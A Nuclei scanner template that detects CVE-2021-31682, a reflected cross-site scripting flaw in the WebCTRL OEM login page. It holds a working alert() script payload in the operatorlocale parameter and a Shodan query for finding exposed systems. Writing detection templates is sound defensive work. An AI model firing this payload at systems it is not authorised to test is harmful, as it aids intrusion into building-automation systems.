nuclei-templates/cves/2021/CVE-2021-31682.yaml

45 lines
1.3 KiB
YAML

id: CVE-2021-31682
info:
name: WebCTRL OEM <= 6.5 - Cross-Site Scripting
author: gy741,dhiyaneshDk
severity: medium
description: WebCTRL OEM 6.5 and prior is susceptible to a cross-site scripting vulnerability because the login portal does not sanitize the operatorlocale GET parameter.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2021-31682
- https://github.com/3ndG4me/WebCTRL-OperatorLocale-Parameter-Reflected-XSS
- https://www.automatedlogic.com/en/products-services/webctrl-building-automation-system/
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2021-31682
cwe-id: CWE-79
metadata:
shodan-query: html:"/_common/lvl5/dologin.jsp"
tags: cve,cve2021,webctrl,xss
requests:
- method: GET
path:
- '{{BaseURL}}/index.jsp?operatorlocale=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E'
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
part: body
condition: and
words:
- '"><script>alert(document.domain)</script>'
- 'common/lvl5'
- type: word
part: header
words:
- "text/html"
# Enhanced by mp on 2022/04/13